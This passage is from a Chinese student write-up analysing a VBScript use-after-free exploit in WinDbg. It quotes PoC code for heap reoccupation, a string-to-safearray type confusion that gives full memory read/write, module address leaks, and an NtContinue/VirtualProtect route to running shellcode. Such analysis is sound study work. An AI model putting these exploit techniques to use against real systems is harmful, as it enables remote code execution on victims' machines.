0031b368  6dd40009 01d8238c 01d82388 6dd44211

0031b378  6dd40009 01d8238c 01d82388 6dd44211

0031b388  6dd40009 01d8238c 01d82388 6dd44211

0031b398  6dd40009 01d8238c 01d82388 6dd44211

0031b3a8  6dd40009 01d8238c 01d82388 6dd44211

0031b3b8  1f7bbbb5 88000000 00000000 00000000

0:005> dd 1d82388

01d82388  6dd400c6 00000000 00000000 00000000 //引用计数为0

01d82398  000001a8 00000000 00000000 01d5b7ac

01d823a8  00000001 002ba02c 00000000 00000000

01d823b8  1f487ea5 80000000 000000cd 00000000

01d823c8  00000000 00000000 00000000 00000000

01d823d8  00000000 00000000 00000000 00000000

01d823e8  00000000 00000000 1f487eac 80000000

01d823f8  000000d4 00000000 00000000 00000000

0:005> du 2ba02c

002ba02c  "Trigger"

再运行到第二次IsEmpty断点,此时cla4_obj1占位已经完成:

0:005> g

Breakpoint 0 hit

eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001

eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VbsIsEmpty:

6dd5c206 8bff       mov   edi,edi

0:005> dd 1d82388

01d82388  6dd41748 00000002 01d593f0 0049ff68 //引用计数变成2

01d82398  000001a8 00000000 00000000 00000000

01d823a8  00000000 002ba02c 00000000 01d82350

01d823b8  1f487ea5 80000000 000000cd 00000000

01d823c8  00000000 00000000 00000000 00000000

01d823d8  00000000 00000000 00000000 00000000

01d823e8  00000000 00000000 1f487eac 80000000

01d823f8  000000d4 00000000 00000000 00000000

0:005> du 2ba02c

002ba02c  "cla4" //同样的地址cla4_obj1已经占位


第三次IsEmpty断点,参数为array_c:

0:005> g

Breakpoint 0 hit

eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001

eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VbsIsEmpty:

6dd5c206 8bff       mov   edi,edi

0:005> dd poi(esp+c)

0049ec10  0000600c 00000000 01d81228 002e1e00 //002e1e00是array_c的data buffer

0049ec20  02570002 0049df00 00490013 0257cea8

0049ec30  02570002 0049df00 00490001 0257cea8

0049ec40  6dd40002 0257cee4 02570027 0049df00

0049ec50  6dd40002 0257cee4 02570001 0049df00

0049ec60  6dd40002 0257cee4 02570006 0049df00

0049ec70  6dd40002 0257cee4 02570001 0049df00

0049ec80  6dd40002 0257cee4 02570006 0049df00

0:005> dd 2e1e00 //0031b3c0是array_c数据元素地址

002e1e00  08920001 00000010 00000000 0031b3c0

002e1e10  00000007 00000000 1f784f01 88000400

002e1e20  682fbdc8 00000000 67f95d74 002c66b8

002e1e30  67f95b60 00000000 00000000 00000000

002e1e40  03000004 00000000 1f784f0b 8c006f00

002e1e50  67f73928 00000001 00000008 00000000

002e1e60  00000000 002c1b30 00326c70 00000000

002e1e70  00000000 67f8e200 1f784f0d 88006000

0:005> dd 31b3c0 

0031b3c0  6dd40009 01d8238c 01d823c0 6dd44211 //01d823c0是类对象地址

0031b3d0  6dd40009 01d823c4 01d823c0 6dd44211

0031b3e0  6dd40009 01d823c4 01d823c0 6dd44211

0031b3f0  6dd40009 01d823c4 01d823c0 6dd44211

0031b400  6dd40009 01d823c4 01d823c0 6dd44211

0031b410  6dd40009 01d823c4 01d823c0 6dd44211

0031b420  6dd40009 01d823c4 01d823c0 6dd44211

0031b430  1f7bbb44 80000000 00000098 00690066

0:005> dd 1d823c0

01d823c0  6dd400cd 00000000 00000000 00000000

01d823d0  000001a8 00000000 00000000 01d5b9dc

01d823e0  00000001 00321784 00000000 00000000

01d823f0  1f487eac 80000000 000000d4 00000000

01d82400  00000000 00000000 00000000 00000000

01d82410  00000000 00000000 00000000 00000000

01d82420  00000000 00000000 1f487e57 80000000

01d82430  000000db 00000000 00000000 00000000

0:005> du 321784

00321784  "cla2"

第四次IsEmpty断点,此时MyClass2_obj2占位已经完成:

此时仍然查看1d82388:


0:005> g

Breakpoint 0 hit

eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001

eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VbsIsEmpty:

6dd5c206 8bff       mov   edi,edi

0:005> dd 1d823c0

01d823c0  6dd41748 00000002 01d59510 0049ff68 //引用计数为2

01d823d0  000001a8 00000000 00000000 00000000

01d823e0  00000000 00321784 00000000 01d82388

01d823f0  1f487eac 80000000 000000d4 00000000

01d82400  00000000 00000000 00000000 00000000

01d82410  00000000 00000000 00000000 00000000

01d82420  00000000 00000000 1f487e57 80000000

01d82430  000000db 00000000 00000000 00000000

0:005> du 321784

00321784  "cla4" //同样的地址cla4_obj2已经占位

以上就是PoC中的UAF函数所做的事情,接下来来看InitObjects函数。

同样还是再代码里加上了IsEmpty便于调试:

Sub InitObjects

  'Alert "InitObjects"

  IsEmpty(cla4_obj1)

  cla4_obj1.SetProp(cla6_obj1)        '会调用class6的Get P,完成了string--->array的类型转换

  IsEmpty(cla4_obj1)

  IsEmpty(cla4_obj2)

  cla4_obj2.SetProp(cla7_obj1)        '会调用class7的Get P,完成了string--->long的类型转换

  IsEmpty(cla4_obj2)

'Alert "InitObjects2"

  spec_int_1=cla4_obj2.mem    '这句将上面指向0000的那个字符串的指针泄露给了spec_int_1

 IsEmpty(spec_int_1)

End Sub

在执行前我们先来回顾一下cla4_obj1的地址:

0:005> dd 1d82388
01d82388  6dd41748 00000002 01d593f0 0049ff68 //cla4_obj1.mem的地址
01d82398  000001a8 00000000 00000000 00000000
01d823a8  00000000 002ba02c 00000000 01d82350
01d823b8  1f487ea5 80000000 000000cd 00000000
01d823c8  00000000 00000000 00000000 00000000
01d823d8  00000000 00000000 00000000 00000000
01d823e8  00000000 00000000 1f487eac 80000000
01d823f8  000000d4 00000000 00000000 00000000

0:005> du 2ba02c

002ba02c “cla4” //同样的地址cla4_obj1已经占位

在执行到cla4_obj1.SetProp(cla6_obj1)这里的时候,会去调用cla4的SetProp函数:

Class cla4

  Dim mem

  Function P

  End Function

  Function SetProp(Value)

    IsEmpty("enter cla4:SetPro")

    mem=0

    mem=Value  '这一步会调用cla6的Get P

    SetProp=0

  End Function

End Class

在Get P中实现了又一次的占位与一次类型的替换:

Class cla6

  Public Default Property Get P                'Property Get 语句 用来取得(返回)的值     

    IsEmpty("cal6:call Get P")

    Dim cla5_obj1

        'CDbl是转换成双精度浮点数据类型

        'dd 00000005 00000000 00000000 0000200C

    P=CDbl("174088534690791e-324")            '对cla4_mem赋值,把string改为array类型



    For i=0 To 6            'array_b原本保存了Trigger的引用,而Trigger被释放后是由

      array_b(i)=0        'cla4_obj1占位的。array_b赋值为0,也就是将cla4_obj1的内存释放了

    Next

    IsEmpty("finish set array_b to 0")



    Set cla5_obj1=New cla5        '再次使用悬垂指针重新用cla5_obj1占位,

    cla5_obj1.mem=str_1            '并对cla5.mem赋值伪造的字符串 7fffffff的safearray,



    IsEmpty(cla5_obj1)

    For i=0 To 6

      Set array_b(i)=cla5_obj1

    Next

  End Property

End Class

重新调试了一遍,现在cla4_obj1地址为25010b8,cla4_obj2地址为25010f0。

现在进入cla6 Get P中的第一个IsEmpty:

vbscript!VbsIsEmpty:

6f39c206 8bff       mov   edi,edi

0:005> dd poi(esp+c)

0015eed8  00000008 00000000 024f54a0 00000000

0015eee8  00000000 00000000 00000000 00000000

0015eef8  00000000 00000000 00000000 00000000

0015ef08  00000000 00000000 00000000 00000000

0015ef18  00000000 00000000 00000000 00000000

0015ef28  00000000 00000000 00000000 00000000

0015ef38  6f380000 025010f4 0015fdf8 6f384211

0015ef48  024cc260 0015ef68 025010f0 6f384211

0:005> du 024f54a0

024f54a0  "cal6:call Get P"

再进入第二个IsEmpty:

vbscript!VbsIsEmpty:

6f39c206 8bff       mov   edi,edi

0:005> dd poi(esp+c)

0015eed8  024c0008 024cbf68 024f54fc 0000200c

0015eee8  024c0002 0015cfd8 02500006 024cbf94

0015eef8  024c0002 0015cfd8 02500001 024cbf94

0015ef08  00000000 00000000 00000000 00000000

0015ef18  00000000 00000000 00000000 00000000

0015ef28  00000000 00000000 00000000 00000000

0015ef38  024c0005 024cbf68 00000000 0000200c

0015ef48  024cc260 0015ef68 025010f0 6f384211

0:005> du 024f54fc

024f54fc  "finish set array_b to 0"

现在再来看一下cla4_obj1的占位:

0:005> dd 25010b8

025010b8  6f3800d4 00000000 00000000 00000000

025010c8  00000490 00000000 00000000 00000000

025010d8  00000000 005b34dc 00000000 00000000

025010e8  67b123d5 88000000 6f381748 00000001

025010f8  024d8510 0015e698 00000490 00000000

02501108  00000000 00000000 00000000 005a55b4

02501118  00000000 02501080 67b123ec 8c000000

02501128  6f38ce78 6f393100 6f3930f0 00000002

可以看到原来占位的cla4_obj1内存被释放掉了。

0:005> !heap -p -a 25010b8

  address 025010b8 found in

  _HEAP @ 150000

   HEAP_ENTRY Size Prev Flags   UserPtr UserSize - state

    025010b0 0007 0000  [00]  025010b8   00030 - (free)

可以看到处于释放状态。

第三次断点,此时再次进行占位,使用的是cla5_obj1:

//源码

Set cla5_obj1=New cla5  '再次使用悬垂指针重新用cla5_obj1占位,

    cla5_obj1.mem=str_1  

 IsEmpty(cla5_obj1)

‘这个str1是一个全局变量,

‘str_1=Unescape(“%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000”)

调试可以发现前面被free的地址又被占位了:

0:005> dd 25010b8

025010b8  6f381748 00000002 024d83f0 0015e698//24d83f0是cla5.mem的地址

025010c8  00000490 00000000 00000000 00000000

025010d8  00000000 005b34dc 00000000 025010f0

025010e8  67b123d5 88000000 6f381748 00000001

025010f8  024d8510 0015e698 00000490 00000000

02501108  00000000 00000000 00000000 005a55b4

02501118  025010b8 02501080 67b123ec 8c000000

02501128  6f38ce78 6f393100 6f3930f0 00000002

0:005> du 5b34dc

005b34dc  "cla5"

我们再来看一下cla5.mem:

0:005> dd 024d83f0

024d83f0  024da7a8 000000b8 00000100 00000100

024d8400  00004000 024da7ac 024da84c 02502c70

024d8410  0000000f 00000003 00000040 00000003

024d8420  00000014 024d8428 024da7ac 024da7f4

024d8430  024da82c 00750025 00300030 00300030

024d8440  00750025 00300030 00300030 00750025

024d8450  00300030 00300030 00000000 024d8784

024d8460  00010044 70e47cd6 00000000 00000000

0:005> dd 024da82c 

024da82c  024d0008 024d87dc 005b34b4 00000000//0x08是类型,代表的vbstring,后面会把这个类型改为safearray即0x200c

024da83c  00000000 00000000 0000822f 00000006

024da84c  00000000 00000000 00000003 000005f8

024da85c  0065006d 0000006d 024da838 00000012

024da86c  00000000 000005d0 000005f8 00000000

024da87c  024da7b4 024da84c 0000002b 00000000

024da88c  000005cb 0000060b 00000000 024da718

024da89c  024da914 00000002 00000000 000005fa

//看伪造的这个类似于数组的字符串,它的元素有7fffffff个,每个元素占一字节,元素内存地址为0,那它能访问的内存空间是0-0x7fffffff

//如果现在类型变为safearray,就能够实现全址读写

//str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")

0:005> dd 005b34b4

005b34b4  08800001 00000001 00000000 00000000

005b34c4  7fffffff 00000000 6f380000 67e6a972

005b34d4  88000000 00000008 006c0063 00350061

005b34e4  00650000 00000072 00000000 00000000

005b34f4  00000000 67e6a977 8c000000 00000001

005b3504  00000000 00000000 7fffffff 7fffffff

005b3514  80000001 80000001 00000000 67e6a94c

005b3524  88000000 00000000 00000000 0075006f

在Get P 执行完成后,P作为返回值返回给cla4.mem成员变量中,我们再来看一下P:

//源码中;

P=174088534690791e-324 //优化后这样的:

P=CDbl(“174088534690791e-324”) //CDbl是vbs中把表达式转化为双精度类型的一个函数

174088534690791 e-324 是174088534690791的-324平方

用c语言计算为:printf(“%I64x\n”,174088534690791e-324);

为,200c00000000,

由它是vbDouble类型,前面会有一个0x05的标志,

最终在内存中P的值为:00000005 00000000 00000000 0000200C

这样就把0x08改为了0x200c。

调试看一下:

vbscript!VbsIsEmpty:

6f39c206 8bff       mov   edi,edi

0:005> dd 024da82c

024da82c  0000200c 024d87dc 005b34b4 00000000

024da83c  00000000 00000000 0000822f 00000006

024da84c  00000000 00000000 00000003 000005f8

024da85c  0065006d 0000006d 024da838 00000012

024da86c  00000000 000005d0 000005f8 00000000

024da87c  024da7b4 024da84c 0000002b 00000000

024da88c  000005cb 0000060b 00000000 024da718

024da89c  024da914 00000002 00000000 000005fa

0:005> dd 024da82c-c

024da820  024c0005 024cbf68 00000000 0000200c

024da830  024d87dc 005b34b4 00000000 00000000

024da840  00000000 0000822f 00000006 00000000

024da850  00000000 00000003 000005f8 0065006d

024da860  0000006d 024da838 00000012 00000000

024da870  000005d0 000005f8 00000000 024da7b4

024da880  024da84c 0000002b 00000000 000005cb

024da890  0000060b 00000000 024da718 024da914

//为什么是从mem地址-c开始的,,这个-c的位置,是原来没有被释放的时候的cla4_obj1.mem的地址,//就是P修改的是释放前的mem的地址,释放前与占位后的mem相差0x0C字节,//00000005 00000000 00000000 0000200C这个数,刚好从0c的位置写入了0x200c

最终实现了 vbstring—>safearray的类型转换,cla5.mem最终拿到任意地址读写权限,在InitObjects函数中的cla4_obj2.SetProp(cla7_obj1)使用了同样的方法,这里就不一一调试了。最后还有泄露字符串指针的关键代码:

//源码

Alert “InitObjects2”

spec_int_1=cla4_obj2.mem ‘这句将上面指向0000的那个字符串的指针泄露给了spec_int_1

IsEmpty(spec_int_1)

其实在上面就已经利用vbscript的漏洞实现了全地址读写,下面就是利用上面产生的对象实行PoC地址的泄露以及shellcode的构造和执行。

先来对PoC中的地址进行泄露:

//此函数泄露 CScriptEntryPoint 对象的虚函数表地址,该地址属于Vbscript.dll。

Function LeakVBAddr

  On Error Resume Next    '忽略错误,执行下一条代码

  Dim emptySub_addr_placeholder   '构造一个类型为null 的 CScriptEntryPoint 对象

  emptySub_addr_placeholder=EmptySub

  emptySub_addr_placeholder=null

  IsEmpty(emptySub_addr_placeholder)  '此断点可以查看此 CScriptEntryPointObject 地址

  SetMemValue emptySub_addr_placeholder  '这种传参数不用括号也是可以的

  LeakVBAddr=GetMemValue()

End Function

这个时候也可以在LeakVBAddr函数中IsEmpty的断点查看emptySub_addr_placeholder:

0:005> dd poi(esp+c)
0055fe58  00000001 000007ff 0055e030 cf0000cf  //这个对象地址下一步会保存在指向空字符串+8的地方
0055fe68  00000001 000007ff 0055e030 cf0000cf
0055fe78  00000000 00000000 02021598 00000000
0055fe88  024bd3d8 0055fea8 020217a0 00000000

0:005> ln poi(0055e030)              //发现它是一个CScriptEntryPoint对象,
(6a5b4934)  vbscript!CScriptEntryPoint::`vftable'  |  (6a5cab54)  vbscript!CEntryPointDispatch::`vftable'
Exact matches:
  vbscript!CScriptEntryPoint::`vftable` = <no type information>

我们再来看一下代码是如何产生一个CScriptEntryPoint对象的:

On  Error Resume  Next              //首先它定义了忽略错误

Dim emptySub_addr_placeholder               //定义一个变量

emptySub_addr_placeholder =EmptySub       //将函数指针赋值给一个变量,VBS语法是不允许这样的,但是其上面忽略了错误,最终这个函数指针的值仍然被赋值给了变量

emptySub_addr_placeholder=null         //然后将该值的类型设置为null,最终,变量里面仍然保存着一个函数指针,但是类型为null

进入SetMemValue函数,要记住上面在InitObjects函数的最后spec_int_1中保存的就是那个0字符串的地址:

//源码

Sub SetMemValue(ByRef Ili)

  cla4_obj1.mem(spec_int_1+8)=Ili  '将CScriptEntryPoint对象放到spec_int_1+8的位置

IsEmpty("SetMemValue Finish")   

End Sub

对于这样的修改是因为cla4_obj1.mem已经是一个可以全地址读写的array了,这里一样通过IsEmpty进行下断:

//调试

Breakpoint 3 hit

eax=6a5b185c ebx=024bcea0 ecx=6a60a9d8 edx=024bce18 esi=02016a68 edi=00000001

eip=6a5cc206 esp=024bcd34 ebp=024bcd44 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023 ds=0023 es=0023 fs=003b  gs=0000       efl=00000246

vbscript!VbsIsEmpty:6a5cc206 8bff       mov   edi,edi

//这个地址就是上面的指向空字符的地址:

0:005> dd 003f9dd4003f9dd4  00000000 00000000 00000001 000007ff  //从+8的位置保存的便是CScriptEntryPoint对象,这个0x01是vbNull(可查询上方表格)

003f9de4  0055e030 cf0000cf 003f93a4 4b92935b

003f9df4  8c000000 00000001 00000000 00000000

003f9e04  7fffffff 7fffffff 80000001 80000001

003f9e14  00000000 4b929326 88000000 00000000

003f9e24  006e0000 00740069 0062004f 0065006a

003f9e34  00740063 00000073 003f9e4c 4b92932d

003f9e44  88000000 00000018 006e0049 00740069

之后就是进入GetMemValue函数:

//源码Function GetMemValue

  cla4_obj1.mem(spec_int_1)= 3  '将CScriptEntryPoint对象 的类型改为3 即为Long

  IsEmpty("GetMemValue Finish")

  GetMemValue=cla4_obj1.mem(spec_int_1+ 8)End Function

整个过程的效果就是在GetMemValue=cla4_obj1.mem(spec_int_1+ 8)这一步把0055e030的值给了GetMemValue,GetMemValue赋值给了LeakVBAddr ,以上整个LeakVBAddr函数过程得到了vbLong型的CScriptEntryPoint对象地址。

接下来的一些过程其实也是一些关键地址的获取,这里重点通过原始POC分析代码的运行逻辑,先来讲一下PoC中的GetUint32函数:

//函数参数为对象地址,然后该函数返回的是这个对象的虚函数表地址

Function GetUint32(addr)   

  Dim value

 IsEmpty("enter GetUint32")

  cla4_obj1.mem(spec_int_1+8)=addr+4  '原本存放CScriptEntryPoint对象的位置 存放 该对象地址+4

 IsEmpty("spec_int_1+8")

  cla4_obj1.mem(spec_int_1)=8     '改为字符串 type string

 IsEmpty("type string")

  value=cla4_obj1.P0123456789

 IsEmpty(value)

  cla4_obj1.mem(spec_int_1)=2  '改为 整型 type vbInteger

 IsEmpty("type vbInteger")

GetUint32=value   

End Function

从之前我们已经分析过了Class cla5,那么我们就可以知道value=cla4_obj1.P0123456789这一步最终返回的是CScriptEntryPoint类对象的虚函数表地址。整个函数就是为了得到VBScript.dll中的CScriptEntryPoint对象虚函数表。

再来看获取VBScript.dll基地址的函数:

Function FindMzBase(vtable_address)



  Dim base

  base=vtable_address And &hffff0000  '64k对齐,得到vbscript.dll 基地址

 Alert "FindMzBase "

 IsEmpty(base)



  Do While GetUint32(base+&h68)<>&h206E6920 Or GetUint32(base+&h6c)<>&h20534F44

    base=base-&h10000   

  Loop

 IsEmpty(base)

FindMzBase=base

End Function

最后就是获取其余的dll以及函数地址:

VBScript.dll导入了msvcrt.dll,msvcrt.dll又导入了kernelbase.dll与ntdll.dll,遍历它们的导入表最终可以从kernelbase.dll中获取到VirtualProtect函数地址,从ntdll.dll中获取NtContinue函数地址,具体的来看一下POC:

'首先得到VBScript地址,其传入的是CScriptEntryPoint虚函数表对象地址

  vbs_base=FindMzBase(GetUint32(vb_adrr))

  Alert "VBScript Base: 0x" & Hex(vbs_base) 



  '遍历VBScript.dll导入表找到msvcrt.dll基地址

  msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")

  Alert "MSVCRT Base: 0x" & Hex(msv_base) 



   '遍历msvcrt.dll导入表找到kernelbase.dll基地址

  krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")

  Alert "KernelBase Base: 0x" & Hex(krb_base) 



   '遍历msvcrt.dll导入表找到ntdll.dll基地址

  ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")

  Alert "Ntdll Base: 0x" & Hex(ntd_base) 



   '从kernelbase.dll找到VirtualProtect函数地址

  VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")

  Alert "KernelBase!VirtualProtect Address 0x" & Hex(VirtualProtectAddr) 



   '从ntdll.dll找到 NtContinue 函数地址

  NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")

  Alert "Ntdll!NtContinue Address 0x" & Hex(NtContinueAddr)

最后就通过以下代码返回Shellcode地址:

//PoC源码

SetMemValue GetShellcode()

ShellcodeAddr=GetMemValue()+8

IsEmpty(ShellcodeAddr)

最后进行一个总结的话就是从取得全地址读写权限以后,进行的构造是从 VAR::Clear 中调用了 ntdll!ntContinue,而且又仿造好了一个了 CONTEXT结构体,这样利用 ntdll!ntContinue还原了一个假的进程。且 eip 就是 VirtualProtect,而栈空间esp是前面准备好的,返回值为shellcode入口,VirtualProtect的执行参数也是shellcode区域,最后VirtualProtect函数执行完,直接返回到shellcode的开始处开始执行。

 

五、 实验结果

这次实验最终的结果首先就是对于漏洞产生进行的一个验证,然后就是通过POC进行一个计算器的弹出:

 

六、 问题与感悟

在调试、复现漏洞的过程中遇到的第一个问题就是windbg的配置问题,其中主要是由于symbol无法正常匹配所产生的问题,而无法正常读取符号表的问题也就是symbol相对应的网络链接被墙了,导致无法访问,最后的解决方法也就是通过下载离线的符号表进行本地调用。之后存在的第二个问题的话就是在我们之前调试POC实现全地址读写中有一个关键点就是在最后使用myclass1占位空间时,vbs引擎并未清理掉之前myclass2的成员变量mem,而该变量地址刚好与myclass1.mem相差0xC,以至于后续可以实现类型混淆构造出任意地址访问的数组结构。之后通过调试可以理解到类结构解析过程中各成员的初始化顺序以及VBS中特有的默认属性构造函数default property get function的执行逻辑。这个时候再回过头来看一下之前提到过的一个数据结构:

按照上述结构可以根据类对象0x30的结构解析出对象中各成员(成员函数和成员变量)的具体位置。动态验证过程中不难发现在实际成员初始化的过程中,各成员会以VARIANT的形式按照既定的初始化顺序存储在一段连续的内存空间中。这里我们就可以知道类成员的内存分配,根据所有成员按需且遵循前面提到的初始化顺序申请一块连续的内存空间,各成员VVAL1,VVAL2,VVAL3…均以一个0x10的VARIANT结构呈现,相邻成员变量之间偏移等于一个固定的内存空间0x32+前一个成员名称(UNICODE字符串)的长度。

最后的话就来一个综合的理解:

1、初始占位内存的地址为0x0235f4bc、即类对象第一个初始化的成员变量的VARIANT结构地址。
2、用myclass2占位时,myclass2.mem的VARIANT地址= 0x0235f4bc + 0x32 +len(“p”) +0x32 + len(“setprop”) = 0x0235f530。
其VARIANT结构:00000008 00000000 002aa5e4 00000000。

3、用myclass1占位前,myclass1.mem的VARIANT地址= 0x0235f4bc + 0x32 +len(“p0123456789”) +0x32 + len(“p01”) = 0x0235f53c。
其VARIANT结构:00000008 00000000 002aa5e4 00000000。

4、调用myclass2.setprop(myconf),myconf类的default property get p将浮点数174088534690791e-324(内存结构为:00000005 000005dd 00000000 0000200c)赋给myclass2.mem。由于myclass1.mem与myclass2.mem的VARIANT结构偏移0xc,将会覆盖上一步中的“0008”为“200c”,如下图所示。

通过逆向分析、调试以及复现这个cve,我感觉自己又丰富了一些新的知识,之前很多知识都是一知半解,不是很能理解写相应脚本的思路是什么,这次实实在在的通过静态分析和动态分析相结合的方式,可以说是比较完整地理解了这个cve以及相关的利用代码了,收获颇大。

(完)